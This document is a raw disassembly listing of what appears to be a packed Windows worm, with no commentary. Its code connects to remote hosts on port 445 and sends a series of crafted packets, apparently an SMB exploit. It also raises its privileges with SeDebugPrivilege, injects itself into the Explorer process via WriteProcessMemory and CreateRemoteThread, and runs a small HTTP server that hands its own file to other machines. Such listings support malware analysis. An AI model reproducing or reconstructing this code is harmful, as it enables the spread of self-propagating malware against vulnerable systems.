		xor	ebx, ebx
		mov	[ebp+var_14], eax
		mov	eax, dword_31424C88
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edi
		call	dword_31421158	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_31421D61
		push	esi
		mov	esi, [ebp+arg_0]
		push	1Dh
		push	esi
		call	dword_3142115C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		call	dword_3142109C	; lstrcpynA
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset loc_31424C78
		push	eax
		call	dword_3142111C	; wsprintfA
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_133]


loc_31421874:				; CODE XREF: sub_31421801+83j
		mov	dl, [ebp+ecx+var_4C]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_31421874
		push	60h
		lea	eax, [ebp+var_E4]
		push	offset dword_31424798
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_31422CDC	; strlen
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 1Ch
		lea	eax, [ebp+var_4C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_31422CDC	; strlen
		pop	ecx
		lea	eax, [ebp+eax*2+var_B5]
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_31422CDC	; strlen
		add	al, 1Ah
		push	edi
		shl	al, 1
		mov	[ebp+var_5], al
		lea	eax, [ebp+var_5]
		push	eax
		lea	eax, [ebp+var_E1]
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_31422CDC	; strlen
		shl	al, 1
		add	al, 9
		push	edi
		mov	[ebp+var_6], al
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_B7]
		push	eax
		call	sub_31422CE2	; memcpy
		push	0E29h
		lea	eax, [ebp+var_1F28]
		push	31h
		push	eax
		call	sub_31422CD6	; memset
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_31422CD6	; memset
		add	esp, 44h
		mov	[ebp+var_24], 2
		push	1BDh
		call	dword_31421160	; ntohs
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	[ebp+var_4]
		mov	[ebp+var_20], esi
		call	dword_31421164	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D57
		mov	esi, dword_31421094
		mov	edi, 0C8h
		push	edi
		call	esi	; Sleep
		push	ebx
		mov	ebx, dword_31421168
		push	89h
		push	offset dword_31424580
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		push	0
		push	0A8h
		push	offset dword_3142460C
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		push	0
		push	0DEh
		push	offset dword_314246B8
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		cmp	eax, 46h
		jl	loc_31421D4C
		cmp	[ebp+var_730], 31h
		jnz	loc_31421BF7
		and	[ebp+arg_0], 0
		push	7D0h
		lea	eax, [ebp+var_F44]
		push	90h
		push	eax
		call	sub_31422CD6	; memset
		add	esp, 0Ch
		push	offset byte_314242B8
		call	dword_31421084	; lstrlenA
		push	eax
		lea	eax, [ebp+var_EA4]
		push	offset byte_314242B8
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_31421084	; lstrlenA
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_788]
		push	eax
		call	sub_31422CE2	; memcpy
		mov	eax, dword_31424BBE
		add	esp, 0Ch
		mov	[ebp+var_798], eax


loc_31421A98:				; CODE XREF: sub_31421801+4E1j
		movsx	eax, [ebp+var_5]
		add	eax, 4
		push	0
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		push	0
		push	68h
		push	offset dword_314247FC
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		push	0
		push	0A0h
		push	offset dword_31424868
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		cmp	[ebp+arg_0], 0
		jz	loc_31421CE7
		push	68h
		lea	eax, [ebp+var_89E4]
		push	offset dword_31424A20
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_4834]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_897C]
		push	eax
		call	sub_31422CE2	; memcpy
		push	70h
		lea	eax, [ebp+var_690C]
		push	offset dword_31424A8C
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_37A0]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_689C]
		push	eax
		call	sub_31422CE2	; memcpy
		push	84h
		lea	eax, [ebp+var_5DD8]
		push	offset dword_31424B00
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 3Ch
		lea	eax, [ebp+var_89E4]
		push	0
		push	10FCh
		push	eax
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		push	0
		push	0FDCh
		lea	eax, [ebp+var_690C]
		jmp	loc_31421D3F
; ---------------------------------------------------------------------------


loc_31421BF7:				; CODE XREF: sub_31421801+22Bj
		push	0DACh
		lea	eax, [ebp+var_2CD8]
		push	90h
		push	eax
		mov	[ebp+arg_0], 1
		call	sub_31422CD6	; memset
		push	4
		lea	eax, [ebp+var_24F4]
		push	offset dword_31424BF8
		push	eax
		call	sub_31422CE2	; memcpy
		push	offset byte_314242B8
		call	sub_31422CDC	; strlen
		push	eax
		lea	eax, [ebp+var_24E4]
		push	offset byte_314242B8
		push	eax
		call	sub_31422CE2	; memcpy
		push	4
		lea	eax, [ebp+var_21C0]
		push	offset loc_31424C70
		push	eax
		call	sub_31422CE2	; memcpy
		push	4
		lea	eax, [ebp+var_21BC]
		push	offset dword_31424BF8
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 40h
		push	offset byte_314242B8
		call	sub_31422CDC	; strlen
		push	eax
		lea	eax, [ebp+var_21B0]
		push	offset byte_314242B8
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_4833]


loc_31421C93:				; CODE XREF: sub_31421801+4A8j
		mov	dl, [ebp+ecx+var_2CD8]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 0DACh
		jl	short loc_31421C93
		and	[ebp+var_2CDC],	0
		and	[ebp+var_2CDB],	0
		push	1C52h
		lea	eax, [ebp+var_89E4]
		push	31h
		push	eax
		call	sub_31422CD6	; memset
		push	1C52h
		lea	eax, [ebp+var_690C]
		push	31h
		push	eax
		call	sub_31422CD6	; memset
		add	esp, 18h
		jmp	loc_31421A98
; ---------------------------------------------------------------------------


loc_31421CE7:				; CODE XREF: sub_31421801+339j
		push	7Ch
		lea	eax, [ebp+var_1F28]
		push	offset dword_3142490C
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_F44]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_1EAC]
		push	eax
		call	sub_31422CE2	; memcpy
		push	90h
		lea	eax, [ebp+var_16DC]
		push	offset dword_3142498C
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 24h
		and	[ebp+var_1231],	0
		lea	eax, [ebp+var_1F28]
		push	0
		push	0CF8h


loc_31421D3F:				; CODE XREF: sub_31421801+3F1j
		push	eax
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		and	[ebp+var_C], 0


loc_31421D4C:				; CODE XREF: sub_31421801+1ADj
					; sub_31421801+1E1j ...
		push	2
		push	[ebp+var_4]
		call	dword_31421170	; shutdown


loc_31421D57:				; CODE XREF: sub_31421801+166j
		push	[ebp+var_4]
		call	dword_31421174	; closesocket
		pop	esi


loc_31421D61:				; CODE XREF: sub_31421801+37j
		mov	eax, [ebp+var_C]
		pop	edi
		pop	ebx
		leave
		retn
sub_31421801	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421D68	proc near		; CODE XREF: UPX0:loc_31422376p

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		push	edi
		push	offset aAdvapi32 ; "advapi32"
		call	dword_314210A8	; LoadLibraryA
		mov	esi, dword_314210A4
		mov	edi, eax
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	short loc_31421DEC
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_31421DEC
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		call	esi	; GetProcAddress
		mov	esi, eax
		test	esi, esi
		jz	short loc_31421DEC
		lea	eax, [ebp+var_C]
		push	eax
		push	20h
		call	dword_314210A0	; GetCurrentProcess
		push	eax
		call	[ebp+var_4]
		lea	eax, [ebp+var_18]
		mov	[ebp+var_1C], 1
		push	eax
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	0
		mov	[ebp+var_10], 2
		call	[ebp+var_8]
		push	0
		push	0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	0
		push	[ebp+var_C]
		call	esi	; GetProcAddress


loc_31421DEC:				; CODE XREF: sub_31421D68+28j
					; sub_31421D68+37j ...
		pop	edi
		pop	esi
		leave
		retn
sub_31421D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421DF0	proc near		; CODE XREF: UPX0:3142238Ap

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	ecx, dword_31425000
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		mov	eax, [ecx+3Ch]
		push	edi
		add	eax, ecx
		push	offset aKernel32 ; "kernel32"
		mov	ecx, [eax+34h]
		mov	edi, [eax+50h]
		mov	[ebp+var_C], ecx
		call	dword_314210B4	; GetModuleHandleA
		mov	esi, dword_314210A4
		mov	ebx, eax
		push	offset aVirtualallocex ; "VirtualAllocEx"
		push	ebx
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_10], eax
		jnz	short loc_31421E37


loc_31421E33:				; CODE XREF: sub_31421DF0+54j
		push	1
		jmp	short loc_31421E88
; ---------------------------------------------------------------------------


loc_31421E37:				; CODE XREF: sub_31421DF0+41j
		push	offset aCreateremoteth ; "CreateRemoteThread"
		push	ebx
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_14], eax
		jz	short loc_31421E33
		push	0
		push	offset aShell_traywnd ;	"Shell_TrayWnd"
		call	dword_31421110	; FindWindowA
		test	eax, eax
		jnz	short loc_31421E65
		call	dword_31421114	; GetForegroundWindow
		test	eax, eax
		jnz	short loc_31421E65
		push	2
		jmp	short loc_31421E88
; ---------------------------------------------------------------------------


loc_31421E65:				; CODE XREF: sub_31421DF0+65j
					; sub_31421DF0+6Fj
		lea	ecx, [ebp+var_8]
		push	ecx
		push	eax
		call	dword_31421118	; GetWindowThreadProcessId
		push	[ebp+var_8]
		push	0
		push	42Ah
		call	dword_314210B0	; OpenProcess
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_31421E8B
		push	3


loc_31421E88:				; CODE XREF: sub_31421DF0+45j
					; sub_31421DF0+73j
		pop	eax
		jmp	short loc_31421EF6
; ---------------------------------------------------------------------------


loc_31421E8B:				; CODE XREF: sub_31421DF0+94j
		push	4
		push	3000h
		push	edi
		push	[ebp+var_C]
		push	ebx
		call	[ebp+var_10]
		mov	esi, dword_3142107C
		test	eax, eax
		jz	short loc_31421EE9
		lea	ecx, [ebp+var_10]
		push	ecx
		push	edi
		push	eax
		push	eax
		push	ebx
		call	dword_314210AC	; WriteProcessMemory
		push	dword_31424FF4
		call	esi	; CloseHandle
		lea	eax, [ebp+var_18]
		xor	edi, edi
		push	eax
		push	edi
		push	1
		push	[ebp+arg_0]
		push	edi
		push	edi
		push	ebx
		call	[ebp+var_14]
		cmp	eax, edi
		jz	short loc_31421ED5
		push	eax
		call	esi	; CloseHandle
		jmp	short loc_31421EF0
; ---------------------------------------------------------------------------


loc_31421ED5:				; CODE XREF: sub_31421DF0+DEj
		push	offset aUterm19	; "uterm19"
		call	sub_31421F29
		pop	ecx
		mov	[ebp+var_4], 5
		jmp	short loc_31421EF0
; ---------------------------------------------------------------------------


loc_31421EE9:				; CODE XREF: sub_31421DF0+B2j
		mov	[ebp+var_4], 4


loc_31421EF0:				; CODE XREF: sub_31421DF0+E3j
					; sub_31421DF0+F7j
		push	ebx
		call	esi	; CloseHandle
		mov	eax, [ebp+var_4]


loc_31421EF6:				; CODE XREF: sub_31421DF0+99j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31421DF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421EFB	proc near		; CODE XREF: sub_314221C4+Bp
					; UPX0:3142234Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		pusha
		rdtsc
		mov	[ebp+var_8], eax
		popa
		mov	[ebp+var_4], esp
		call	dword_314210B8	; GetTickCount
		mov	ecx, [ebp+var_4]
		imul	ecx, [ebp+var_8]
		add	eax, ecx
		push	eax
		call	dword_314210EC	; srand
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31421EFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_31421F29	proc near		; CODE XREF: sub_31421DF0+EAp
					; UPX0:31422356p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	1
		push	0
		call	dword_314210BC	; CreateMutexA
		retn
sub_31421F29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421F38	proc near		; CODE XREF: sub_314223B2+155p
					; sub_314223B2+160p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_4]
		push	eax
		xor	eax, eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		push	eax
		call	dword_314210C0	; CreateThread
		pop	ebp
		retn
sub_31421F38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421F52	proc near		; CODE XREF: sub_314221C4+12Cp
					; sub_314225C3+5Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_4]
		push	eax
		xor	eax, eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		push	eax
		call	dword_314210C0	; CreateThread
		push	eax
		call	dword_3142107C	; CloseHandle
		pop	ebp
		retn
sub_31421F52	endp


; =============== S U B	R O U T	I N E =======================================



sub_31421F73	proc near		; CODE XREF: sub_314211A0+68p
					; sub_31422A9B+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		xor	esi, esi
		test	edi, edi
		jle	short loc_31421F9B


loc_31421F84:				; CODE XREF: sub_31421F73+26j
		call	dword_314210FC	; rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[esi+ebx], dl
		inc	esi
		cmp	esi, edi
		jl	short loc_31421F84


loc_31421F9B:				; CODE XREF: sub_31421F73+Fj
		and	byte ptr [ebx+edi], 0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_31421F73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421FA3	proc near		; CODE XREF: sub_314211A0+105p

var_54		= dword	ptr -54h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	esi
		push	edi
		push	44h
		xor	esi, esi
		pop	edi
		lea	eax, [ebp+var_54]
		push	edi
		push	esi
		push	eax
		call	sub_31422CD6	; memset
		mov	ax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	[ebp+var_54], edi
		push	[ebp+arg_0]
		push	esi
		call	dword_314210C4	; CreateProcessA
		push	[ebp+var_C]
		mov	esi, dword_3142107C
		mov	edi, eax
		call	esi	; CloseHandle
		push	[ebp+var_10]
		call	esi	; CloseHandle
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_31421FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421FF9	proc near		; CODE XREF: sub_3142264B+3Ep
					; sub_31422712+7p ...

var_34		= byte ptr -34h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		lea	eax, [ebp+var_34]
		push	31h
		push	eax
		call	dword_3142114C	; gethostname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_3142201A
		call	dword_31421150	; WSAGetLastError
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_3142201A:				; CODE XREF: sub_31421FF9+15j
		lea	eax, [ebp+var_34]
		push	eax
		call	dword_31421154	; gethostbyname
		test	eax, eax
		jnz	short loc_3142202F
		mov	eax, 100007Fh
		leave
		retn
; ---------------------------------------------------------------------------


loc_3142202F:				; CODE XREF: sub_31421FF9+2Dj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		leave
		retn
sub_31421FF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_31422038	proc near		; CODE XREF: sub_314216A2+12p
					; sub_3142255F+22p ...

var_4		= byte ptr -4

		push	ecx
		lea	eax, [esp+4+var_4]
		push	0
		push	eax
		call	dword_31421130	; InternetGetConnectedState
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		retn
sub_31422038	endp


; =============== S U B	R O U T	I N E =======================================



sub_3142204E	proc near		; CODE XREF: sub_314223B2+E6p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	0
		push	2
		call	dword_314210CC	; OpenEventA
		test	eax, eax
		jz	short locret_31422067
		push	eax
		call	dword_314210C8	; SetEvent

locret_31422067:			; CODE XREF: sub_3142204E+10j
		retn
sub_3142204E	endp


; =============== S U B	R O U T	I N E =======================================



sub_31422068	proc near		; CODE XREF: sub_314216A2+68p
		push	esi
		mov	esi, dword_314210FC
		push	edi
		call	esi	; rand
		mov	edi, eax
		shl	edi, 10h
		call	esi	; rand
		or	eax, edi
		pop	edi
		pop	esi
		retn
sub_31422068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142207E	proc near		; DATA XREF: sub_314221C4+127o

var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		lea	eax, [ebp+var_100]
		push	edi
		push	100h
		push	eax
		push	ebx
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_314220AF
		push	1
		jmp	loc_3142216A
; ---------------------------------------------------------------------------


loc_314220AF:				; CODE XREF: sub_3142207E+28j
		mov	esi, dword_31421104
		lea	eax, [ebp+var_100]
		push	offset aGet	; "GET"
		push	eax
		call	esi	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_3142217A
		lea	eax, [ebp+var_100]
		push	offset dword_314241F0
		push	eax
		call	esi	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_3142217A
		mov	esi, dword_31421168
		push	0
		push	3Dh
		push	offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"...
		push	ebx
		call	esi	; send
		push	dword_31424FF0
		lea	eax, [ebp+var_200]
		push	offset aContentLengthU ; "Content-Length: %u\r\n\r\n"
		push	eax
		call	dword_3142111C	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_31422CDC	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		call	esi	; send


loc_3142212C:				; CODE XREF: sub_3142207E+E8j
		mov	eax, dword_31424FF0
		mov	ecx, 1000h
		sub	eax, edi
		cmp	eax, ecx
		jb	short loc_3142213E
		mov	eax, ecx


loc_3142213E:				; CODE XREF: sub_3142207E+BCj
		test	eax, eax
		jz	short loc_3142216D
		push	0
		push	eax
		mov	eax, dword_31424FE8
		add	eax, edi
		push	eax
		push	ebx
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_31422168
		cmp	eax, 1000h
		jb	short loc_3142216D
		push	64h
		add	edi, eax
		call	dword_31421094	; Sleep
		jmp	short loc_3142212C
; ---------------------------------------------------------------------------


loc_31422168:				; CODE XREF: sub_3142207E+D5j
		push	2


loc_3142216A:				; CODE XREF: sub_3142207E+2Cj
		pop	eax
		jmp	short loc_314221BD
; ---------------------------------------------------------------------------


loc_3142216D:				; CODE XREF: sub_3142207E+C2j
					; sub_3142207E+DCj
		push	offset dword_31424FEC
		call	dword_314210D4	; InterlockedIncrement
		jmp	short loc_31422198
; ---------------------------------------------------------------------------


loc_3142217A:				; CODE XREF: sub_3142207E+49j
					; sub_3142207E+61j
		mov	esi, dword_31421168
		push	0
		push	15h
		push	offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n"
		push	ebx
		call	esi	; send
		push	0
		push	3
		push	offset dword_31424D38
		push	ebx
		call	esi	; send


loc_31422198:				; CODE XREF: sub_3142207E+FAj
		push	7D0h
		call	dword_31421094	; Sleep
		push	2
		push	ebx
		call	dword_31421170	; shutdown
		push	ebx
		call	dword_31421174	; closesocket
		push	0
		call	dword_314210D0	; ExitThread
		xor	eax, eax


loc_314221BD:				; CODE XREF: sub_3142207E+EDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_3142207E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314221C4	proc near		; DATA XREF: sub_314223B2+150o

var_130		= byte ptr -130h
var_28		= byte ptr -28h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		push	edi
		call	sub_31421EFB
		lea	eax, [ebp+var_130]
		push	104h
		push	eax
		push	offset aCryptographicS ; "Cryptographic	Service"
		xor	ebx, ebx
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	dword_31424FEC,	ebx
		call	sub_31422882
		add	esp, 14h
		test	eax, eax
		jnz	loc_314222F9
		push	esi
		push	ebx
		push	ebx
		push	3
		push	ebx
		push	1
		lea	eax, [ebp+var_130]
		push	80000000h
		push	eax
		call	dword_31421080	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_31422230
		push	1
		call	dword_314210D0	; ExitThread


loc_31422230:				; CODE XREF: sub_314221C4+62j
		push	ebx
		push	esi
		call	dword_314210DC	; GetFileSize
		push	eax
		mov	dword_31424FF0,	eax
		call	sub_31422CA5
		pop	ecx
		mov	dword_31424FE8,	eax
		lea	ecx, [ebp+var_4]
		push	ebx
		push	ecx
		push	dword_31424FF0
		push	eax
		push	esi
		call	dword_314210D8	; ReadFile
		mov	eax, [ebp+var_4]
		push	esi
		mov	dword_31424FF0,	eax
		call	dword_3142107C	; CloseHandle
		push	ebx
		push	1
		push	2
		call	dword_31421158	; socket
		push	10h
		mov	edi, eax
		pop	esi
		lea	eax, [ebp+var_18]
		push	esi
		push	ebx
		push	eax
		call	sub_31422CD6	; memset
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], ebx


loc_31422292:				; CODE XREF: sub_314221C4+E5j
					; sub_314221C4+EDj ...
		call	dword_314210FC	; rand
		add	eax, 7D0h
		and	eax, 1FFFh
		cmp	al, bl
		mov	dword_31424FFC,	eax
		jz	short loc_31422292
		xor	ecx, ecx
		mov	cl, ah
		test	cl, cl
		jz	short loc_31422292
		push	eax
		call	dword_31421160	; ntohs
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		push	edi
		call	dword_31421140	; bind
		test	eax, eax
		jnz	short loc_31422292
		push	64h
		push	edi
		call	dword_31421144	; listen
		mov	[ebp+var_8], esi
		pop	esi


loc_314222DB:				; CODE XREF: sub_314221C4+133j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	edi
		call	dword_31421148	; accept
		push	eax
		push	offset sub_3142207E
		call	sub_31421F52
		pop	ecx
		pop	ecx
		jmp	short loc_314222DB
; ---------------------------------------------------------------------------


loc_314222F9:				; CODE XREF: sub_314221C4+3Dj
		push	ebx
		call	dword_314210D0	; ExitThread
		pop	edi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_314221C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31422308	proc near		; CODE XREF: sub_314223B2:loc_314224FCp

var_190		= byte ptr -190h

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		lea	eax, [ebp+var_190]
		push	esi
		mov	esi, dword_3142113C
		push	eax
		push	2
		call	esi	; WSAStartup
		lea	eax, [ebp+var_190]
		push	eax
		push	102h
		call	esi	; WSAStartup
		pop	esi
		leave
		retn
sub_31422308	endp

; ---------------------------------------------------------------------------


loc_31422334:				; CODE XREF: UPX1:31427D08j
		push	0
		call	dword_314210B4	; GetModuleHandleA
		push	offset aFtpupd_exe ; "ftpupd.exe"
		mov	dword_31425000,	eax
		call	dword_31421074	; DeleteFileA
		call	sub_31421EFB
		push	offset aUterm19	; "uterm19"
		call	sub_31421F29
		pop	ecx
		mov	dword_31424FF4,	eax
		call	dword_314210E4	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_31422376
		push	1
		call	dword_314210E0	; ExitProcess


loc_31422376:				; CODE XREF: UPX0:3142236Cj
		call	sub_31421D68
		call	sub_314229E6
		call	sub_31422B67
		push	offset sub_314223B2
		call	sub_31421DF0
		test	eax, eax
		pop	ecx
		jz	short loc_3142239B
		push	0
		call	sub_314223B2


loc_3142239B:				; CODE XREF: UPX0:31422392j
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_3142239E	proc near		; CODE XREF: sub_314223B2:loc_31422525p
					; sub_3142255F:loc_31422578p ...
		push	0
		push	dword_31424FF8
		call	dword_31421070	; WaitForSingleObject
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
sub_3142239E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314223B2	proc near		; CODE XREF: UPX0:31422396p
					; DATA XREF: UPX0:31422385o

var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
